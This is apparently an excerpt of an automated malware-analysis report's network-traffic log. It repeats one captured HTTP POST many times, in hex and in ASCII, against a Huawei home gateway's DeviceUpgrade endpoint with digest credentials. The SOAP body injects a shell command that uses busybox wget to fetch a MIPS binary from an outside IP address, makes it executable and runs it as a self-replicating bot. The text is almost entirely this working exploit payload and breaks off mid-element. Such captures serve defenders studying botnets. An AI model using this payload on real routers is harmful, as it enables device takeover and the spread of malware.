43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 